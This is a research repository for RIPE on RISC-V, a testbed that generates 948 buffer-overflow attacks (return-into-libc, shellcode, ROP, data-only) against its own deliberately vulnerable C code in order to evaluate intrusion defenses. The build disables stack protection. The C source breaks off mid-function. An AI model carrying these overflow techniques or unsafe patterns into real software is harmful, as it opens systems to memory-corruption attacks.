├── LICENSE ├── Makefile ├── README.md ├── doc └── ripe_paper.pdf ├── ripe_tester.py └── source ├── ripe_attack_generator.c ├── ripe_attack_generator.h └── ripe_attack_parameters.h /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2011 John Wilander (@johnwilander) and Nick Nikiforakis (@nicknikiforakis) 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # Makefile for RIPE 2 | # @author John Wilander & Nick Nikiforakis 3 | # Modified for RISC-V by John Merrill 4 | 5 | #Depending on how you test your system you may want to comment, or uncomment 6 | #the following 7 | CFLAGS= -fno-stack-protector -z execstack 8 | CC=riscv64-unknown-elf-gcc 9 | 10 | all: ripe_attack_generator 11 | 12 | clean: 13 | rm -rf build/ out/ 14 | 15 | ripe_attack_generator: ./source/ripe_attack_generator.c 16 | mkdir -p build/ out/ 17 | $(CC) \ 18 | ./source/ripe_attack_generator.c -o ./build/ripe_attack_generator 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RIPE: The Runtime Intrusion Prevention Evaluator for RISC-V 2 | 3 | This branch contains a modified, RISC-V compatible implementation of RIPE. 4 | RIPE was originally developed by John Wilander and Nick Nikiforakis and presented 5 | at the 2011 Annual Computer Security Applications Conference in Orlando, Florida. 6 | 7 | The RIPE port to RISC-V was developed by John Merrill. 8 | RIPE for RISC-V is designed for use with the Spike simulator. 9 | 10 | RIPE is free software and released under the MIT licence (see file named LICENSE). 11 | 12 | ## Build & Run 13 | 14 | #### For individual tests: 15 | 16 | 1. Build the RIPE backend: `make` 17 | 18 | 2. Run a test with specified parameters: ` _t _i _c _l _f _d ` 19 | 20 | #### For the full testbench: 21 | 22 | 1. Start the RIPE frontend: `./ripe_tester.py -o ` 23 | 24 | - Additional options can be seen by running `./ripe_tester.py -h` 25 | - For more info on attack parameters, view the [Attack Parameters](#attack-parameters) section. 26 | 27 | ## Test Results 28 | 29 | RIPE produces and performs a series of exploits based on its five attack parameters: technique (direct or indirect), attack code, target code pointer, memory location, and vulnerable function. 30 | 31 | The result log generated by the frontend labels each test as one of the following: 32 | - OK: the attack executes successfully 33 | - FAIL: the attack encounters an error before running to completion 34 | - NOT POSSIBLE: the attack is not practically possible (eg. a direct attack on a stack buffer targeting a global pointer) 35 | 36 | ## Attack Parameters 37 | 38 | The RIPE testbed on RISC-V is based upon five attack parameters which combine to yield 948 buffer overflow attacks. These are: 39 | 40 | #### Location 41 | 42 | The attack location describes the memory section in which the target buffer is located. RIPE supports attacks on the `stack`, `heap`, `data`, and `bss` sections. 43 | 44 | #### Attack code 45 | 46 | RIPE presents four options for attack code: 47 | - `returnintolibc`: A simulated return-into-libc attack which redirects the target pointer to the entry point of an otherwise inaccessible function 48 | - `nonop`: A simple shellcode which performs a similar transfer of control flow 49 | - `rop`: A variant of the return-into-libc attack code which instead jumps to an instruction that is *not* a function entry point. This simulates the initiation of a ROP-style attack, as it directs the PC to an illegal jump target. 50 | - `dataonly`: Manipulates non-control data, resulting in a mock privilege escalation or data leak. 51 | 52 | #### Target Code Pointer 53 | 54 | The target code pointer is overwritten by the overflow such that control of the program is transferred to the attack code. RIPE includes the following target pointers: 55 | 56 | - `ret`: return address of the perform_attack() function 57 | - Function pointers in each memory location: 58 | - `funcptrstackvar`, `funcptrstackparam`, `funcptrheap`, `funcptrdata`, and `funcptrbss` 59 | - Structs containing adjacent buffers and function pointers: 60 | - `structfuncptrstack`, `structfuncptrheap`, `structfuncptrdata`, and `structfuncptrbss` 61 | - Longjmp buffers: 62 | - `longjmpstackvar`, `longjmpstackparam`, `longjmpheap`, `longjmpdata`, `longjmpbss` 63 | - Data-only attacks offer two choices of attack vector: 64 | - `bof` edits a numerical variable that is later used as a branch condition 65 | - `iof` fills the buffer with 256 junk characters, causing integer overflow on an 8-bit length variable. This alters a pointer offset such that an arbitrary address is overwritten. 66 | - `leak` prints addresses beyond the bounds of the buffer, resulting in exfiltration of otherwise unreachable data. 67 | 68 | #### Overflow Technique 69 | 70 | Buffer overflows can be performed with or without indirection. 71 | - The `direct` technique simply overwrites a target pointer in the same memory location as the overflow buffer. Direct, data-only attacks overwrite a target pointer with an integer value. 72 | - The `indirect` technique initially targets a generic pointer that is adjacent to the buffer. A dereference redirects this pointer to the attack code. Indirect overflows work between memory regions (i.e. from a stack buffer to a heap pointer). Indirect, data-only attacks overwrite a pointer to the target with a pointer elsewhere in memory. 73 | 74 | #### Function 75 | 76 | There are nine vulnerable functions available as attack vectors: 77 | 78 | - `memcpy` 79 | - `homebrew`, a loop-based, memcpy() equivalent 80 | - C library string functions, including: `str(n)cpy`, `str(n)cat`, `s(n)printf` 81 | - `sscanf` via a format string vulnerability 82 | -------------------------------------------------------------------------------- /doc/ripe_paper.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/draperlaboratory/hope-RIPE/3ff6705934ca956fed84006041b8bf23ec987e17/doc/ripe_paper.pdf -------------------------------------------------------------------------------- /ripe_tester.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # Developed by Nick Nikiforakis to assist the automated testing 4 | # using the RIPE evaluation tool 5 | # 6 | # Released under the MIT license (see file named LICENSE) 7 | # 8 | # This program is part the paper titled 9 | # RIPE: Runtime Intrusion Prevention Evaluator 10 | # Authored by: John Wilander, Nick Nikiforakis, Yves Younan, 11 | # Mariam Kamkar and Wouter Joosen 12 | # Published in the proceedings of ACSAC 2011, Orlando, Florida 13 | # 14 | # Please cite accordingly. 15 | # 16 | # Modified for RISC-V by John Merrill 17 | 18 | import os, sys, subprocess, time, signal, argparse 19 | from termcolor import colored 20 | 21 | code_ptr = ['ret', 'funcptrstackvar', 'funcptrstackparam', 'funcptrheap', 22 | 'funcptrbss', 'funcptrdata', 'structfuncptrstack', 'structfuncptrheap', 23 | 'structfuncptrdata', 'structfuncptrbss', 'longjmpstackvar', 'longjmpstackparam', 24 | 'longjmpheap', 'longjmpdata', 'longjmpbss','bof', 'iof', 'leak']; 25 | 26 | funcs = ['memcpy', 'strcpy', 'strncpy', 'sprintf', 'snprintf', 'strcat', 27 | 'strncat', 'sscanf', 'homebrew']; 28 | 29 | locations = ['stack','heap','bss','data']; 30 | 31 | attacks = ['shellcode', 'returnintolibc', 'rop', 'dataonly']; 32 | techniques = [] 33 | count_only = 0 34 | output = '' 35 | 36 | width = int(os.popen('stty size', 'r').read().split()[1]) 37 | color = lambda x,y: colored(x, y, attrs=['bold']) 38 | line = lambda x: color('-'*x, 'white') 39 | bold_line = lambda x: color('='*x, 'white') 40 | 41 | def print_attack(cmdargs, status): 42 | params = cmdargs.split('_')[1:] 43 | for idx, param in enumerate(params): 44 | params[idx] = param[2:] 45 | 46 | result = '' 47 | if status == 1: 48 | result = color('OK', 'green') 49 | else: 50 | result = color('FAIL', 'grey') 51 | 52 | print('Technique: ' + params[0]) 53 | print('Attack code: ' + params[1]) 54 | print('{0:50}{1:}'.format('Target Pointer: ' + params[2], 'Result: ' + result)) 55 | print('Location: ' + params[3]) 56 | print('Function: ' + params[4]) 57 | print(line(64)) 58 | 59 | def is_attack_possible ( attack, tech, loc, ptr, func ): 60 | 61 | if attack == 'shellcode': 62 | if func != 'memcpy' and func != 'homebrew': 63 | return 0 64 | 65 | if attack == 'dataonly': 66 | if ptr not in ['bof', 'iof', 'leak']: 67 | return 0 68 | 69 | if (ptr == 'iof' or ptr == 'leak') and tech == 'indirect': 70 | return 0 71 | 72 | if tech == 'indirect' and loc == 'heap': 73 | return 0 74 | elif ptr in ['bof', 'iof', 'leak']: 75 | return 0; 76 | 77 | if attack == 'rop' and tech != 'direct': 78 | return 0 79 | 80 | if tech == 'indirect' and ptr == 'longjmpheap' and loc == 'bss': 81 | if func != 'memcpy' and func != 'strncpy' and func != 'homebrew': 82 | return 0 83 | 84 | if tech == 'direct': 85 | if (loc == 'stack' and ptr == 'ret'): 86 | return 1 87 | elif attack != 'dataonly' and ptr.find(loc) == -1: 88 | return 0 89 | elif ptr == 'funcptrstackparam': 90 | if func == 'strcat' or func == 'snprintf' or func == 'sscanf' or func == 'homebrew': 91 | return 0 92 | elif ptr == 'structfuncptrheap' and attack != 'shellcode' and loc == 'heap': 93 | if func == 'strncpy': 94 | return 0 95 | return 1 96 | 97 | # parse args 98 | parser = argparse.ArgumentParser(description='frontend for RIPE') 99 | parser.add_argument('-t', help='Techniques [direct|indirect|both] (both by default)', default='both') 100 | parser.add_argument('-f', help='Run tests with all functions (memcpy() only by default)', default=False, action='store_true') 101 | parser.add_argument('-r', help='Simulator command', default='spike pk', action='store_true') 102 | parser.add_argument('-o', help='Send output to file (default stdout)', nargs=1) 103 | args = parser.parse_args() 104 | 105 | print args 106 | 107 | if args.t == 'both': 108 | techniques = ['direct','indirect']; 109 | else: 110 | techniques = [args.t] 111 | 112 | if not args.f: 113 | funcs = ['memcpy'] 114 | 115 | if args.r: 116 | run_cmd = args.r 117 | 118 | if args.o: 119 | color = lambda x,y:x 120 | sys.stdout = open(args.o[0], 'w') 121 | 122 | # rebuild RIPE 123 | os.system('make > /dev/null 2>&1') 124 | 125 | print bold_line(width) 126 | print color('RIPE: The Runtime Intrusion Prevention Evaluator for RISCV', 'white') 127 | print bold_line(width) 128 | 129 | total_ok=0; 130 | total_fail=0; 131 | total_np = 0; 132 | 133 | start_time = time.time() 134 | 135 | for attack in attacks: 136 | for tech in techniques: 137 | for loc in locations: 138 | for ptr in code_ptr: 139 | for func in funcs: 140 | os.system('rm -f out/out.text') 141 | cmdargs = 'build/ripe_attack_generator ' + '-t ' + tech + ' -i ' + attack + ' -c ' + ptr + ' -l ' + loc + ' -f ' + func 142 | cmdline= run_cmd + ' ' + cmdargs + ' 1> out/out.text 2>/dev/null' 143 | 144 | if is_attack_possible (attack, tech, loc, ptr, func) == 0: 145 | total_np += 1 146 | 147 | else: 148 | if count_only == 0: 149 | os.system(cmdline) 150 | time.sleep(0.5) 151 | else: 152 | os.system('touch out/out.text') 153 | 154 | # Evaluate attack status 155 | status = 0 156 | log = open('out/out.text','r') 157 | log.seek(0) 158 | 159 | if log.read().find('success') != -1: 160 | status = 1 161 | total_ok += 1 162 | 163 | log.seek(0) 164 | 165 | if status == 0: 166 | total_fail += 1 167 | 168 | # print attack 169 | # print_attack(cmdargs, status) 170 | print(cmdargs, status) 171 | 172 | # do summary 173 | total_attacks = total_ok + total_fail; 174 | end_time = time.time() - start_time 175 | avg_time = end_time / (total_attacks) 176 | 177 | print color('SUMMARY\n', 'white') + line(64) 178 | print 'Total ' + color('OK', 'green') + ': ' + str(total_ok) 179 | print 'Total ' + color('FAIL', 'grey') + ': ' + str(total_fail) 180 | print 'Total Attacks Executed: ' + str(total_attacks) 181 | print 'Total time elapsed: ' + str(int(end_time / 60)) + 'm ' + str(int(end_time % 60)) + 's' 182 | print 'Average time per attack: ' + '{0:.2f}'.format(avg_time) + 's' 183 | -------------------------------------------------------------------------------- /source/ripe_attack_generator.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Standalone RISC-V compatible implementation of RIPE 3 | * 4 | * Attack params: 5 | * -------------- 6 | * technique = direct, indirect 7 | * inject parameter = ret2libc, shellcode injection, ROP, data only 8 | * code pointer = return address, function pointer, vulnerable struct, longjmp buffer, 9 | * non-control data variable 10 | * location = stack, heap, data, bss 11 | * function = memcpy, strcpy, strncpy, strcat, strncat, sprintf, snprintf, 12 | * sscanf, homebrew memcpy 13 | */ 14 | 15 | #include "ripe_attack_generator.h" 16 | 17 | static boolean output_debug_info = FALSE; 18 | 19 | // JM: shellcode is generated in perform_attack() 20 | char * shellcode_nonop[12]; 21 | 22 | // JM: data-only target pointer 23 | uint32_t dop_dest = 0xdeadbeef; 24 | 25 | // Do not count for the null terminator since a null in the shellcode will 26 | // terminate any string function in the standard library 27 | static size_t size_shellcode_nonop = 12; 28 | 29 | /* DATA SEGMENT TARGETS */ 30 | /* 31 | Vulnerable struct 32 | Overflow buffers (buffer1 for .data, buffer2 for .sdata) 33 | Arbitrary read data 34 | DOP flag 35 | Two general pointers for indirect attack 36 | Function pointers 37 | Longjmp buffer 38 | */ 39 | static struct attackme data_struct = { "AAAA", &dummy_function }; 40 | static char data_buffer1[256] = "d"; 41 | static char data_buffer2[8] = "dummy"; 42 | static char data_secret[32] = "success. Secret data leaked.\n"; 43 | static int data_flag = 0700; 44 | static uint32_t * data_mem_ptr_aux[64] = { &dummy_function }; 45 | static uint32_t * data_mem_ptr[64] = { &dummy_function }; 46 | static int (* data_func_ptr)(const char *) = &dummy_function; 47 | static jmp_buf data_jmp_buffer = { 1 }; 48 | 49 | // JM: control data destinations 50 | void 51 | shellcode_target(); 52 | void 53 | ret2libc_target(); 54 | void 55 | rop_target(); 56 | void 57 | dop_target(char * buf, uint32_t auth); 58 | 59 | // JM: contains buffer lower in memory than stack param, allowing for overflow 60 | void 61 | set_low_buf(char ** buf); 62 | 63 | // JM: integer overflow vulnerability 64 | void 65 | iof(char * buf, uint32_t iv); 66 | 67 | // JM: arbitrary read bug 68 | void 69 | data_leak(char *buf); 70 | 71 | // JM: forces length param to register and jumps before return for stack param attacks 72 | void 73 | homebrew_memcpy_param(void * dst, const void * src, register size_t length); 74 | 75 | // JM: longjmp() is called from here 76 | void 77 | lj_func(jmp_buf lj_buf); 78 | 79 | // get ret address 80 | // JM: ra written to stack one word higher than bp 81 | #define OLD_BP_PTR __builtin_frame_address(0) 82 | #define RET_ADDR_PTR ((void **) OLD_BP_PTR - 1) 83 | 84 | static ATTACK_FORM attack; 85 | 86 | int 87 | main(int argc, char ** argv) 88 | { 89 | int option_char; 90 | jmp_buf stack_jmp_buffer_param; 91 | 92 | // parse command line input 93 | while ((option_char = getopt(argc, argv, "t:i:c:l:f:d")) != -1) { 94 | switch (option_char) { 95 | case 't': 96 | set_technique(optarg); 97 | break; 98 | case 'i': 99 | set_inject_param(optarg); 100 | break; 101 | case 'c': 102 | set_code_ptr(optarg); 103 | break; 104 | case 'l': 105 | set_location(optarg); 106 | break; 107 | case 'f': 108 | set_function(optarg); 109 | break; 110 | case 'd': 111 | output_debug_info = TRUE; 112 | fprintf(stderr, "debug info enabled\n"); 113 | break; 114 | default: 115 | fprintf(stderr, "Error: Unknown command option \"%s\"\n", 116 | optarg); 117 | exit(1); 118 | break; 119 | } 120 | } 121 | 122 | // Check if attack is possible 123 | if (is_attack_possible()) { 124 | perform_attack(&dummy_function, stack_jmp_buffer_param); 125 | } else { 126 | exit(ATTACK_IMPOSSIBLE); 127 | } 128 | 129 | printf("Back in main\n"); 130 | 131 | return 0; 132 | } /* main */ 133 | 134 | /********************/ 135 | /* PERFORM_ATTACK() */ 136 | /********************/ 137 | void 138 | perform_attack( 139 | int (*stack_func_ptr_param)(const char *), 140 | jmp_buf stack_jmp_buffer_param) 141 | { 142 | jmp_buf stack_jmp_buffer; 143 | 144 | /* STACK TARGETS */ 145 | /* 146 | Function Pointer 147 | Two general pointers for indirect attack 148 | DOP flag 149 | Arbitrary read data 150 | Overflow buffer 151 | Vulnerable struct 152 | */ 153 | int (* stack_func_ptr)(const char *); 154 | long * stack_mem_ptr; 155 | long * stack_mem_ptr_aux; 156 | int stack_flag; 157 | char stack_secret[32]; 158 | strcpy(stack_secret, data_secret); 159 | char stack_buffer[1024]; 160 | struct attackme stack_struct; 161 | stack_struct.func_ptr = &dummy_function; 162 | 163 | /* HEAP TARGETS */ 164 | /* 165 | Vulnerable struct 166 | Overflow buffers 167 | DOP flag 168 | Two general pointers for indirect attack 169 | Arbitrary read data 170 | Function pointer array 171 | Longjmp buffer 172 | */ 173 | struct attackme * heap_struct = 174 | (struct attackme *) malloc(sizeof(struct attackme)); 175 | heap_struct->func_ptr = dummy_function; 176 | 177 | /* Two buffers declared to be able to chose buffer that gets allocated */ 178 | /* first on the heap. The other buffer will be set as a target, i.e. a */ 179 | /* heap array of function pointers. */ 180 | char * heap_buffer1 = (char *) malloc(256 + sizeof(long)); 181 | char * heap_buffer2 = (char *) malloc(256 + sizeof(long)); 182 | char * heap_buffer3 = (char *) malloc(256 + sizeof(long)); 183 | 184 | int * heap_flag = (int *) malloc(sizeof(int *)); 185 | long * heap_mem_ptr_aux; 186 | long * heap_mem_ptr; 187 | char * heap_secret; 188 | int(**heap_func_ptr)(const char *) = 0; 189 | jmp_buf * heap_jmp_buffer; 190 | 191 | /* BSS TARGETS */ 192 | /* 193 | Function pointer 194 | DOP flag 195 | Two general pointers for indirect attack 196 | Arbitrary read data 197 | Overflow buffer 198 | Longjmp buffer 199 | Vulnerable Struct 200 | */ 201 | static int (* bss_func_ptr)(const char *); 202 | static int * bss_flag; 203 | static long * bss_mem_ptr_aux; 204 | static long * bss_mem_ptr; 205 | static char bss_secret[32]; 206 | static char bss_buffer[256]; 207 | static jmp_buf bss_jmp_buffer; 208 | static struct attackme bss_struct; 209 | 210 | /* Pointer to buffer to overflow */ 211 | char * buffer; 212 | /* Address to target for direct (part of) overflow */ 213 | void * target_addr; 214 | /* JM: Address for second overflow (indirect ret2libc attack) */ 215 | void * target_addr_aux; 216 | /* Buffer for storing a generated format string */ 217 | char format_string_buf[16]; 218 | /* Attack payload */ 219 | CHARPAYLOAD payload; 220 | 221 | /* Check that malloc went fine */ 222 | if (heap_buffer1 == NULL || heap_buffer2 == NULL) { 223 | perror("Unable to allocate heap memory."); 224 | exit(1); 225 | } 226 | 227 | // JM: assigning value to bss buffers 228 | // to place them 'behind' other locals 229 | bss_buffer[0] = 'a'; 230 | strcpy(bss_secret, data_secret); 231 | 232 | // write shellcode with correct jump address 233 | build_shellcode(shellcode_nonop); 234 | 235 | switch (attack.location) { 236 | case STACK: 237 | // NN: Special case for stack_struct 238 | if (attack.code_ptr == STRUCT_FUNC_PTR_STACK && 239 | attack.technique == DIRECT) 240 | { 241 | buffer = stack_struct.buffer; 242 | } else if (attack.code_ptr == FUNC_PTR_STACK_PARAM && 243 | attack.technique == DIRECT) 244 | { 245 | // JM: use buffer lower in memory for direct attack 246 | set_low_buf(&buffer); 247 | } else { 248 | buffer = stack_buffer; 249 | } 250 | 251 | // JM: enable data-only attack 252 | if (attack.inject_param == DATA_ONLY) { 253 | stack_mem_ptr = &stack_flag; 254 | } 255 | 256 | // Also set the location of the function pointer and the 257 | // longjmp buffer on the heap (the same since only choose one) 258 | heap_func_ptr = (void *) heap_buffer1; 259 | heap_jmp_buffer = (void *) heap_buffer1; 260 | break; 261 | case HEAP: 262 | /* Injection into heap buffer */ 263 | 264 | // NN: Special case for heap_struct 265 | if (attack.code_ptr == STRUCT_FUNC_PTR_HEAP && 266 | attack.technique == DIRECT) 267 | { 268 | buffer = heap_struct->buffer; 269 | break; 270 | } 271 | 272 | if (((unsigned long) heap_buffer1 < (unsigned long) heap_buffer2) && 273 | ((unsigned long) heap_buffer2 < (unsigned long) heap_buffer3)) 274 | { 275 | buffer = heap_buffer1; 276 | // Set the location of the memory pointer on the heap 277 | heap_mem_ptr_aux = (long *) heap_buffer2; 278 | heap_mem_ptr = (long *) heap_buffer3; 279 | 280 | if (attack.code_ptr == VAR_LEAK) { 281 | heap_secret = heap_buffer2; 282 | strcpy(heap_secret, data_secret); 283 | } 284 | // Also set the location of the function pointer and the 285 | // longjmp buffer on the heap (the same since only choose one) 286 | heap_func_ptr = malloc(sizeof(void *)); 287 | 288 | // allocate the jump buffer 289 | heap_jmp_buffer = (int *) malloc(sizeof(jmp_buf)); 290 | } else { 291 | if (output_debug_info) { 292 | fprintf(stderr, 293 | "Error: Heap buffers allocated in the wrong order.\n"); 294 | } 295 | 296 | exit(1); 297 | } 298 | 299 | // JM: set up heap ptr with DOP target 300 | if (attack.inject_param == DATA_ONLY) { 301 | heap_mem_ptr = heap_flag; 302 | } 303 | break; 304 | case DATA: 305 | /* Injection into data segment buffer */ 306 | 307 | // NN: Special case for stack_struct 308 | if (attack.code_ptr == STRUCT_FUNC_PTR_DATA) { 309 | buffer = data_struct.buffer; 310 | break; 311 | } 312 | 313 | if ((attack.code_ptr == FUNC_PTR_DATA || 314 | attack.code_ptr == VAR_BOF) && 315 | attack.technique == DIRECT) 316 | { 317 | buffer = data_buffer2; 318 | } else { 319 | buffer = data_buffer1; 320 | } 321 | 322 | // JM: set up data ptr with DOP target 323 | if (attack.inject_param == DATA_ONLY) { 324 | data_flag = 0; 325 | *data_mem_ptr = &data_flag; 326 | } 327 | // Also set the location of the function pointer and the 328 | // longjmp buffer on the heap (the same since only choose one) 329 | heap_func_ptr = (void *) heap_buffer1; 330 | heap_jmp_buffer = heap_buffer1; 331 | break; 332 | case BSS: 333 | /* Injection into BSS buffer */ 334 | 335 | // NN: Special case for bss_struct 336 | if (attack.code_ptr == STRUCT_FUNC_PTR_BSS) { 337 | buffer = bss_struct.buffer; 338 | break; 339 | } 340 | 341 | buffer = bss_buffer; 342 | 343 | bss_flag = 0; 344 | 345 | bss_mem_ptr_aux = &dummy_function; 346 | bss_mem_ptr = &dummy_function; 347 | 348 | // JM: set up bss ptr with DOP target 349 | if (attack.inject_param == DATA_ONLY) { 350 | bss_mem_ptr = &bss_flag; 351 | } 352 | // Also set the location of the function pointer and the 353 | // longjmp buffer on the heap (the same since only choose one) 354 | heap_func_ptr = (void *) heap_buffer1; 355 | break; 356 | } 357 | 358 | // make sure we actually have an initialized function pointer on the heap 359 | if (heap_func_ptr) 360 | *heap_func_ptr = dummy_function; 361 | 362 | // Set Target Address 363 | switch (attack.technique) { 364 | case DIRECT: 365 | switch (attack.code_ptr) { 366 | case RET_ADDR: 367 | target_addr = RET_ADDR_PTR; 368 | break; 369 | case FUNC_PTR_STACK_VAR: 370 | target_addr = &stack_func_ptr; 371 | break; 372 | case FUNC_PTR_STACK_PARAM: 373 | target_addr = &stack_func_ptr_param; 374 | break; 375 | case FUNC_PTR_HEAP: 376 | target_addr = heap_func_ptr; 377 | break; 378 | case FUNC_PTR_BSS: 379 | target_addr = &bss_func_ptr; 380 | break; 381 | case FUNC_PTR_DATA: 382 | target_addr = &data_func_ptr; 383 | break; 384 | case LONGJMP_BUF_STACK_VAR: 385 | target_addr = stack_jmp_buffer; 386 | break; 387 | case LONGJMP_BUF_STACK_PARAM: 388 | target_addr = stack_jmp_buffer_param; 389 | break; 390 | case LONGJMP_BUF_HEAP: 391 | target_addr = (void *) heap_jmp_buffer; 392 | break; 393 | case LONGJMP_BUF_DATA: 394 | target_addr = data_jmp_buffer; 395 | break; 396 | case LONGJMP_BUF_BSS: 397 | target_addr = bss_jmp_buffer; 398 | break; 399 | case STRUCT_FUNC_PTR_STACK: 400 | target_addr = &stack_struct.func_ptr; 401 | break; 402 | case STRUCT_FUNC_PTR_HEAP: 403 | target_addr = (void *) heap_struct + 256; 404 | break; 405 | case STRUCT_FUNC_PTR_DATA: 406 | target_addr = &data_struct.func_ptr; 407 | break; 408 | case STRUCT_FUNC_PTR_BSS: 409 | target_addr = &bss_struct.func_ptr; 410 | break; 411 | case VAR_BOF: 412 | // JM: if data-only, location determines target 413 | case VAR_IOF: 414 | switch (attack.location) { 415 | case STACK: 416 | target_addr = &stack_flag; 417 | break; 418 | case HEAP: 419 | target_addr = heap_flag; 420 | break; 421 | case DATA: 422 | target_addr = &data_flag; 423 | break; 424 | case BSS: 425 | target_addr = &bss_flag; 426 | break; 427 | } 428 | break; 429 | case VAR_LEAK: 430 | switch (attack.location) { 431 | case STACK: 432 | target_addr = &stack_secret; 433 | break; 434 | case HEAP: 435 | target_addr = heap_secret; 436 | break; 437 | case DATA: 438 | target_addr = &data_secret; 439 | break; 440 | case BSS: 441 | target_addr = &bss_secret; 442 | break; 443 | } 444 | break; 445 | 446 | } 447 | break; 448 | 449 | case INDIRECT: 450 | switch (attack.location) { 451 | case STACK: 452 | target_addr = &stack_mem_ptr; 453 | target_addr_aux = &stack_mem_ptr_aux; 454 | break; 455 | case HEAP: 456 | target_addr = heap_mem_ptr; 457 | target_addr_aux = heap_mem_ptr_aux; 458 | break; 459 | case DATA: 460 | target_addr = &data_mem_ptr; 461 | target_addr_aux = &data_mem_ptr_aux; 462 | break; 463 | case BSS: 464 | target_addr = &bss_mem_ptr; 465 | target_addr_aux = &bss_mem_ptr_aux; 466 | break; 467 | } 468 | break; 469 | } 470 | 471 | // set longjmp buffers 472 | switch (attack.code_ptr) { 473 | case LONGJMP_BUF_STACK_VAR: 474 | if (setjmp(stack_jmp_buffer) != 0) { 475 | /* setjmp() returns 0 if returning directly and non-zero when returning */ 476 | /* from longjmp() using the saved context. Attack failed. */ 477 | printf("Longjmp attack failed. Returning normally...\n"); 478 | return; 479 | } 480 | payload.jmp_buffer = &stack_jmp_buffer; 481 | break; 482 | case LONGJMP_BUF_STACK_PARAM: 483 | if (setjmp(stack_jmp_buffer_param) != 0) { 484 | printf("Longjmp attack failed. Returning normally...\n"); 485 | } 486 | payload.jmp_buffer = &stack_jmp_buffer_param; 487 | break; 488 | case LONGJMP_BUF_HEAP: 489 | if (setjmp(*heap_jmp_buffer) != 0) { 490 | printf("Longjmp attack failed. Returning normally...\n"); 491 | return; 492 | } 493 | payload.jmp_buffer = (void *) heap_jmp_buffer; 494 | payload.stack_jmp_buffer_param = NULL; 495 | break; 496 | case LONGJMP_BUF_DATA: 497 | if (setjmp(data_jmp_buffer) != 0) { 498 | printf("Longjmp attack failed. Returning normally...\n"); 499 | return; 500 | } 501 | payload.jmp_buffer = (void *) data_jmp_buffer; 502 | payload.stack_jmp_buffer_param = NULL; 503 | break; 504 | case LONGJMP_BUF_BSS: 505 | if (setjmp(bss_jmp_buffer) != 0) { 506 | printf("Longjmp attack failed. Returning normally...\n"); 507 | return; 508 | } 509 | payload.jmp_buffer = (void *) bss_jmp_buffer; 510 | payload.stack_jmp_buffer_param = NULL; 511 | break; 512 | default: 513 | break; 514 | } 515 | 516 | payload.ptr_to_correct_return_addr = RET_ADDR_PTR; 517 | 518 | payload.inject_param = attack.inject_param; 519 | 520 | switch (attack.technique) { 521 | case DIRECT: 522 | switch (attack.inject_param) { 523 | case RETURN_INTO_LIBC: 524 | // JM: simulate ret2libc by invoking mock libc function 525 | payload.overflow_ptr = &ret2libc_target; 526 | break; 527 | case RETURN_ORIENTED_PROGRAMMING: 528 | // skip over the prologue code of rop_target 529 | // to simulate return-oriented programming gadget 530 | payload.overflow_ptr = (uintptr_t) &rop_target + 16; 531 | break; 532 | case INJECTED_CODE_NO_NOP: 533 | payload.overflow_ptr = buffer; 534 | break; 535 | case DATA_ONLY: 536 | // JM: corrupt variable with nonzero value 537 | payload.overflow_ptr = 0xdeadbeef; 538 | break; 539 | default: 540 | if (output_debug_info) { 541 | fprintf(stderr, "Unknown choice of attack code"); 542 | exit(1); 543 | } 544 | } 545 | break; 546 | case INDIRECT: 547 | /* Here payload.overflow_ptr will point to the final pointer target */ 548 | /* since an indirect attack first overflows a general pointer that in */ 549 | /* turn is dereferenced to overwrite the target pointer */ 550 | switch (attack.code_ptr) { 551 | case RET_ADDR: 552 | payload.overflow_ptr = RET_ADDR_PTR; 553 | break; 554 | case FUNC_PTR_STACK_VAR: 555 | payload.overflow_ptr = &stack_func_ptr; 556 | break; 557 | case FUNC_PTR_STACK_PARAM: 558 | payload.overflow_ptr = &stack_func_ptr_param; 559 | break; 560 | case FUNC_PTR_HEAP: 561 | payload.overflow_ptr = heap_func_ptr; 562 | break; 563 | case FUNC_PTR_BSS: 564 | payload.overflow_ptr = &bss_func_ptr; 565 | break; 566 | case FUNC_PTR_DATA: 567 | payload.overflow_ptr = &data_func_ptr; 568 | break; 569 | case STRUCT_FUNC_PTR_STACK: 570 | payload.overflow_ptr = &stack_struct.func_ptr; 571 | break; 572 | case STRUCT_FUNC_PTR_HEAP: 573 | payload.overflow_ptr = (void *) heap_struct + 256; 574 | break; 575 | case STRUCT_FUNC_PTR_DATA: 576 | payload.overflow_ptr = &data_struct.func_ptr; 577 | break; 578 | case STRUCT_FUNC_PTR_BSS: 579 | payload.overflow_ptr = &bss_struct.func_ptr; 580 | break; 581 | case LONGJMP_BUF_STACK_VAR: 582 | payload.overflow_ptr = stack_jmp_buffer; 583 | break; 584 | case LONGJMP_BUF_STACK_PARAM: 585 | payload.overflow_ptr = stack_jmp_buffer_param; 586 | break; 587 | case LONGJMP_BUF_HEAP: 588 | payload.overflow_ptr = *heap_jmp_buffer; 589 | break; 590 | case LONGJMP_BUF_DATA: 591 | payload.overflow_ptr = data_jmp_buffer; 592 | break; 593 | case LONGJMP_BUF_BSS: 594 | payload.overflow_ptr = bss_jmp_buffer; 595 | break; 596 | // JM: indirect attacks don't apply to int overflows or leaks 597 | case VAR_BOF: 598 | case VAR_IOF: 599 | case VAR_LEAK: 600 | payload.overflow_ptr = &dop_dest; 601 | break; 602 | default: 603 | if (output_debug_info) { 604 | fprintf(stderr, 605 | "Error: Unknown choice of code 